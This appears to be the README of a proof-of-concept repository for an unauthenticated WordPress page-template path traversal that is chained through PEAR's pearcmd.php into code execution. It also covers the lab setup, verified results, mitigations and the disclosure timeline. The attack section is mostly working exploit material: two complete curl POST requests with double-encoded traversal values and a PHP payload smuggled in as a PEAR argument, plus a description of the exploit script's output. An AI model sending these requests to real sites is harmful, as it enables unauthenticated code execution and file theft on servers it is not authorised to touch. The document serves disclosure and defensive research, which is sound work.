
CVE-2026-87902 PoC — WordPress 페이지 템플릿 해석 과정의 인증되지 않은 경로 순회(로컬 PHP 포함, 조건부 RCE), 취약한 랩 환경 고정 포함
| CVE | CVE-2026-87902 |
| 벤더 권고 | GHSA-7hp8-65ch-5whp |
| 분석 글 | CVE-2026-87902: Critical WordPress file inclusion and conditional RCE |
| 영향 범위 | WordPress Core 4.7.0 – 7.1.1 (권고의 브랜치별 범위에 따르면 모든 브랜치); 7.0.2에서 동적으로 재현됨 |
| 수정 버전 | 7.1.2 (7.1 브랜치), 7.0.6 (7.0 브랜치) 및 권고에 따르면 4.7.37까지 모든 브랜치에 대한 백포트 |
| 취약점 유형 | CWE-98 (include 내 파일명 제어 부적절), CWE-22 / CWE-23 (경로 순회) |
| CVSS v3.1 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 High |
| CVSS v4.0 (보조) | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N — 9.2 Critical |
| 인증 | 없음 — 계정, 쿠키, nonce, 세션, 플러그인, 외부 요청 불필요 |
| 사용자 상호작용 | 없음 |
| 작성자 | Robert Ressl — ressl.ch |
| PoC 검증 | 2026-09-22, 이 저장소의 랩 환경에서 검증 — 검증된 결과 참조 |
WordPress는 선택된 파일이 테마 루트 내부에 머무는지 결코 증명하지 않는 연쇄를 통해 Page 템플릿을 해석한다:
pagename과 page_id는 WP::parse_request()가 익명 POST 본문에서 받아들이는 공개 쿼리 변수이다.pagename 내의 이중 인코딩된 순회는 초기 쿼리 정제를 이스케이프된 %xx 옥텟으로 통과한다 (wp_basename()은 %2f를 구분자로 인식하지 못하며, sanitize_title_with_dashes()는 유효한 옥텟을 의도적으로 유지한다).page_id가 실제 게시된 Page를 선택하는 동안 악의적인 pagename은 쿼리 객체에 남아 있다.get_page_template()이 나중에 해당 값에 urldecode()를 호출하고 page-templates/../../../../../../../usr/local/lib/php/pearcmd.php와 같은 후보를 템플릿 계층에 추가한다.locate_template()과 최종 템플릿 로더는 존재 여부, 읽기 가능 여부, .php/.html 접미사만 확인할 뿐 — 정규화된 경로가 여전히 허용된 테마 루트 내부에 있는지는 결코 확인하지 않으며 — 그런 다음 이를 include한다.이것은 WordPress Core의 비인증 원격 로컬 파일 포함 프리미티브이다. 테스트된 공식 런타임(wordpress:php8.3-apache, PEAR를 번들로 포함하고 php.ini를 로드하지 않아 register_argc_argv가 On임)에서 이 포함은 PEAR의 pearcmd.php를 통해 연쇄되었다: 첫 번째 익명 요청이 config-create로 하여금 공격자가 제어하는 PHP를 /tmp에 작성하게 하고, 두 번째 익명 요청이 그 파일을 포함하여 www-data로 실행한다.
Core의 누락된 경로 격리가 취약점이다. PEAR는 포함에서 코드 실행으로 이어지는 환경 의존적 경로 중 하나일 뿐이며 — WordPress 의존성이 아니고 모든 배포에서 존재하거나 사용 가능한 것도 아니다.
검증된 소스 위치 (WordPress 7.0.2):
| # | 위치 | 역할 |
|---|---|---|
| 1 | wp-includes/class-wp.php:18,322-330 | pagename과 page_id는 공개 쿼리 변수이며 $_POST에서 읽힌다 |
| 2 | wp-includes/class-wp-query.php:2205 | sanitize_title_for_query( wp_basename( $query_vars['pagename'] ) ) — wp_basename()에게 %2f는 구분자가 아니다 |
| 3 | wp-includes/formatting.php:2283-2289 | sanitize_title_with_dashes()는 유효한 %xx 옥텟을 제거하지 않고 유지한다 |
| 4 | wp-includes/template.php:492 | $pagename_decoded = urldecode( $pagename ); — 순회가 정제 이후에 활성화된다 |
| 5 | wp-includes/template.php:722-736 | locate_template()은 각 테마 루트 아래에 후보를 연결하고 file_exists()만 호출한다 |
| 6 | wp-includes/template-loader.php:116-132 | realpath()가 경로를 정규화한 후, 정규 루트 격리 검사 없이 include가 실행된다 |
| 7 | wp-includes/canonical.php:42-47 | redirect_canonical()은 비 GET/HEAD 요청에 대해 조기 반환하므로 POST는 정규화로 제거되지 않는다 |
독립 실행형 포함 프리미티브에는 다음이 필요하다:
| # | 전제 조건 | 이유 |
|---|---|---|
| 1 | 숫자 page_id로 선택되는, 게시된 익명 접근 가능 Page | 경로명 조회가 실패한 후 쿼리에 의해 페이지가 반환되어야 함 |
| 2 | 더 이른 시점에 해석 가능한 사용자 정의 페이지 템플릿이 없을 것 | 유효하게 할당된 템플릿이 악의적 후보보다 먼저 정렬됨 |
| 3 | 활성 (자식 또는 부모) 테마에 이름이 page-로 시작하는 최상위 디렉터리, 예: page-templates/ | WordPress가 고정된 page- 접두사를 앞에 붙이므로 .. 순회가 위치 0에서 시작할 수 없음; 디렉터리는 존재하고 순회 가능하기만 하면 되며 — 쓰기 가능할 필요는 없음 |
| 4 | PHP 사용자가 존재하고 읽을 수 있는 선택된 로컬 .php 파일 | 로더가 is_file()/is_readable()을 확인하고 .php 접미사를 요구함 |
| 5 | 해당 파일을 차단하는 파일시스템 격리가 없을 것 | open_basedir 또는 MAC 정책이 포함을 방지할 수 있음 |
시연된 PEAR 단계에는 추가로 읽을 수 있는 pearcmd.php (및 그 의존성), 웹 SAPI에 대한 register_argc_argv=On, 쓰기 가능한 출력 디렉터리가 필요하다. 프로덕션 php.ini 파일은 register_argc_argv=Off로 설정한다; 테스트된 이미지는 php.ini를 로드하지 않아 컴파일된 기본값(On)이 적용되었다. 이는 시연된 코드 실행 연쇄의 보급률에 대한 중요한 제한이다.
번들로 제공되는 Twenty Twenty-Three/Four/Five 테마는 최상위 page-* 디렉터리를 제공하지 않으므로, 기본 랩에는 아래에 설명된 픽스처가 필요하다. 사용자 정의 테마는 page-templates/ 레이아웃을 정당하게 사용할 수 있다 (WordPress 문서).
권고는 이러한 조건이 배포된 소프트웨어에서 어디서 발생하는지 기록한다: 테마 조건은 레거시 Twenty Twelve 및 Twenty Fourteen 테마와 Neve, Hestia, Sydney 같은 서드파티 테마에서 충족되며, PEAR 전환은 공식 PHP Docker 이미지와 PHP 8.5 미만을 실행하는 기본 cPanel 구성에 적용된다. (Twenty Twelve와 Twenty Fourteen은 모두 최상위 page-templates/ 디렉터리를 제공한다; 나머지 진술은 권고의 것이다.) 이 저장소는 전체 연쇄가 얼마나 자주 적용되는지 측정하지 않는다.
./lab/up.sh # WordPress 7.0.2 + MySQL 8.4 + the page-* fixture, installed and ready
python3 cve-2026-87902.py # two anonymous POSTs, prints the proof marker
cve-2026-87902.py는 Python 3.6+ (표준 라이브러리만)가 필요하며 기본적으로 http://127.0.0.1:8091의 랩에 접속한다. 예상 출력:
[*] target : http://127.0.0.1:8091
[*] page id : 2 (sample-page, default template, via /index.php?rest_route=/wp/v2/pages&per_page=100&_fields=id,slug,template)
[*] depth 7 : stage 1 HTTP 200, stage 2 HTTP 200
[+] traversal : page-templates/../../../../../../../usr/local/lib/php/pearcmd.php
[+] payload file : page-templates/../../../../../../../tmp/wp-pear-rce-flag.php (written by PEAR in stage 1)
[+] marker : 'CVE-2026-87902-POC-OK' found 12 time(s) in the stage-2 response
[+] proof : CVE-2026-87902-POC-OK
[+] EXPLOIT SUCCESSFUL - PHP executed with the web-server account's privileges
종료 코드는 성공 시 0, 그렇지 않으면 1이므로 PoC는 회귀/탐지 검사로도 작동한다.
정리: docker compose down -v.
2026-09-22, 이 랩 환경에서 실행 (Docker 29.4, OrbStack, Apple silicon):
| 검사 | 결과 |
|---|---|
| 단계 1 | HTTP 200; /tmp/wp-pear-rce-flag.php가 www-data:www-data, 모드 0644, 1219 바이트로 작성됨 |
| 페이로드 SHA-256 | 460d359253d9933ad373ffc8a0027adc5a79d5ca542ab9b2cf9532f949682aa7 — 원본 보고서에 기록된 해시와 동일 |
| 단계 2 | HTTP 200; 주입된 PHP가 모드 0444 증명 아티팩트를 출력함 |
| 마커 발생 횟수 | 12 (PEAR가 제어된 루트 값을 12개의 구성 항목으로 직렬화함) |
| 사용된 자격 증명 | 없음 — 모든 요청에 Cookie 또는 Authorization 헤더 없음 |
| 음성 대조 | page-templates/ 제거 → 단계 2가 정상 페이지를 반환, 마커 없음, 종료 코드 1 |
증명 아티팩트는 컨테이너 내부의 /flag로, root 소유이며 전 세계 읽기 가능(root:root, 모드 0444)하다. 이는 웹 서버 계정으로서 PHP 실행과 파일 접근을 증명하며; 권한 상승 대상이 아니다.
두 번의 익명 POST. WordPress 라우팅 값은 폼 본문으로, PEAR 인수는 원시 쿼리 문자열로 전달된다 (PHP는 원시 쿼리 문자열을 리터럴 +로 분할하여 argv로 만들고 개별 인수를 URL 디코딩하지 않는다):
argv[0] = ""
argv[1] = "config-create"
argv[2] = "/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>" # absolute PEAR root path
argv[3] = "/tmp/wp-pear-rce-flag.php" # output file
단계 1 — pearcmd.php를 포함하고 페이로드 작성:
curl --path-as-is -sS -X POST \
'http://127.0.0.1:8091/?+config-create+/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>+/tmp/wp-pear-rce-flag.php' \
--data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd'
단계 2 — 생성된 파일을 포함하고 그 PHP 실행:
curl --path-as-is -sS -X POST \
'http://127.0.0.1:8091/' \
--data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252ftmp%252fwp-pear-rce-flag'
중요한 세부 사항:
templates%2f%2e%2e%2f...가 된다; 정제기는 그 옥텟을 유지하며, 오직 get_page_template()의 늦은 urldecode()만이 이를 /와 ..로 바꾼다.page- 접두사. WordPress는 값 앞에 page-를 붙이므로, 픽스처 디렉터리 page-templates/는 선행 templates 세그먼트에 대응한다..php 접미사. 후보는 page-<decoded>.php이므로, 대상은 접미사 없이 주어진다 (.../pearcmd, /tmp/wp-pear-rce-flag).GET이 아닌 POST. redirect_canonical()은 비 GET/HEAD 요청을 건너뛰며, 폼 본문은 쿼리 문자열이 PEAR 인수만 전달하도록 한다.wp_magic_quotes()는 $_SERVER에도 적용되므로, 서버가 구성한 argv는 이스케이프되고 PEAR가 나중에 백슬래시를 정규화한다. 검증된 페이로드는 chr()을 사용하며 따옴표 문자를 포함하지 않는다. (이는 <?=file_get_contents('/flag')?>로 축약된다.)config-create 루트 경로. PEAR는 상대 루트를 거부하므로 (Root directory must be an absolute path beginning with "/"), 페이로드가 루트 경로 자체로 주입된다.cve-2026-87902.py는 순회가 대상에 도달할 때까지 .. 세그먼트를 순회한다 (이 랩의 레이아웃에서는 7, 고정하려면 --depth).lab/up.sh는 세 단계를 수행하며 재실행해도 안전하다:
docker compose up -d --build --wait — 고정된 wordpress:7.0.2-php8.3-apache와 mysql:8.4, 포트 127.0.0.1:8091 (루프백 전용).admin / adminadmin)을 실행한다.wp-content/themes/twentytwentyfive/page-templates/, root:root, 모드 0755, 비어 있음.랩 이미지는 컴파일된 기본값에 의존하는 대신 register_argc_argv=On을 명시적으로 추가하고 (lab/Dockerfile), /flag를 내장한다 (root:root, 모드 0444, 내용 CVE-2026-87902-POC-OK).
| 구성 요소 | 값 |
|---|---|
| WordPress | 7.0.2 (wordpress:7.0.2-php8.3-apache) |
| PHP / SAPI | 8.3.33, Apache 모듈 |
| PEAR | 1.10.18, /usr/local/lib/php/pearcmd.php |
| MySQL | 8.4 |
register_argc_argv | On |
| 테마 | Twenty Twenty-Five + 비어 있는 root 소유 page-templates/ 픽스처 |
| 대상 Page | 게시된 Sample Page, ID 2, 기본 템플릿 |
| 증명 아티팩트 | /flag, root:root, 모드 0444 |
롤링
wordpress:php8.3-apache태그는 이 랩에 사용할 수 없다: 버그가 7.1.2에서 수정되었으며 고정되지 않은 태그는 랩을 조용히 패치된 상태로 만든다.
검증되거나 문서화된 대조:
page-* 디렉터리가 없음 → 고정된 접두사를 제거할 수 없고 순회가 결코 시작되지 않음 (검증됨: 픽스처 제거 → 마커 없음).register_argc_argv=Off → PEAR 작성자 없음, 그러나 포함 프리미티브는 남음... 세그먼트 → 대상에 도달하지 못함 (검증됨: 깊이 1-6 및 8-12는 랩에서 마커를 생성하지 않음)./flag)은 직접 읽을 수 없음 — 후보에 .php가 추가됨.<, >, = 바이트를 거부하는 WAF/CDN/리버스 프록시는 PEAR 인수 채널을 깨뜨림 (배포별).open_basedir/MAC 격리 또는 쓰기 불가능한 출력 디렉터리는 연쇄를 깨뜨림; /tmp의 noexec는 그렇지 않음 (PHP는 파일을 읽고 해석함).이 PoC는 하나의 검증된 구성을 재현한다. 모든 WordPress 설치가 익스플로잇 가능하다고 주장하지 않으며, 보급률을 측정하지도 않는다.
validate_file()), 위치가 확인된 템플릿을 포함하기 전에 후보와 테마 루트의 realpath()를 후행 디렉터리 구분자와 함께 비교한다.register_argc_argv=Off를 설정하고, 프로덕션 이미지에서 사용하지 않는 웹 판독 가능 PEAR 진입점을 제거하고, 자식 및 부모 테마의 최상위 page-* 디렉터리를 감사하고, PHP 계정의 쓰기 접근을 제한한다.| 경로 | 목적 |
|---|---|
cve-2026-87902.py | 익스플로잇: 페이지 탐지, 두 단계, 깊이 처리, 마커 검증 |
lab/up.sh | 랩을 익스플로잇이 기대하는 정확한 상태로 만듦 (멱등) |
docker-compose.yml | WordPress 7.0.2 + MySQL 8.4, 루프백 전용 포트 |
lab/Dockerfile | 취약한 릴리스 고정, register_argc_argv=On 설정, /flag 내장 |
lab/flag | 증명 아티팩트의 내용 |
| 날짜 | 이벤트 |
|---|---|
| 2026-07-20 | WordPress HackerOne 프로그램을 통해 비공개로 보고됨 |
| 2026-07-21 | 접수 확인됨 |
| 2026-09-15 | 다가오는 릴리스에 수정이 계획되어 있다는 통보를 받음; 기여 세부 정보 요청됨 |
| 2026-09-22 | 수정이 포함된 WordPress 7.1.2 릴리스; 권고 GHSA-7hp8-65ch-5whp 게시됨 |
보고서는 초기 분류가 수정된 후 유효한 보안 발견으로 승인되었다; 서신은 그 승인 날짜를 명시하지 않는다.
이 저장소는 방어 및 연구 목적으로 공개된다. 소유하거나 명시적으로 테스트 권한을 부여받은 시스템에만 사용하라. 랩은 127.0.0.1에 바인딩되어 있으며 신뢰할 수 없는 네트워크에 노출되어서는 안 된다.
MIT — LICENSE 참조. 인용 메타데이터는 CITATION.cff에 있다:
Ressl, Robert (2026). CVE-2026-87902 PoC: unauthenticated path traversal in WordPress page-template resolution (v1.0.0). https://ressl.ch
취약점 보고서와 이 PoC는 구성 및 일관성 검토를 위해 AI 지원으로 준비되었다; 기술적 주장에 대한 책임은 연구자에게 있다.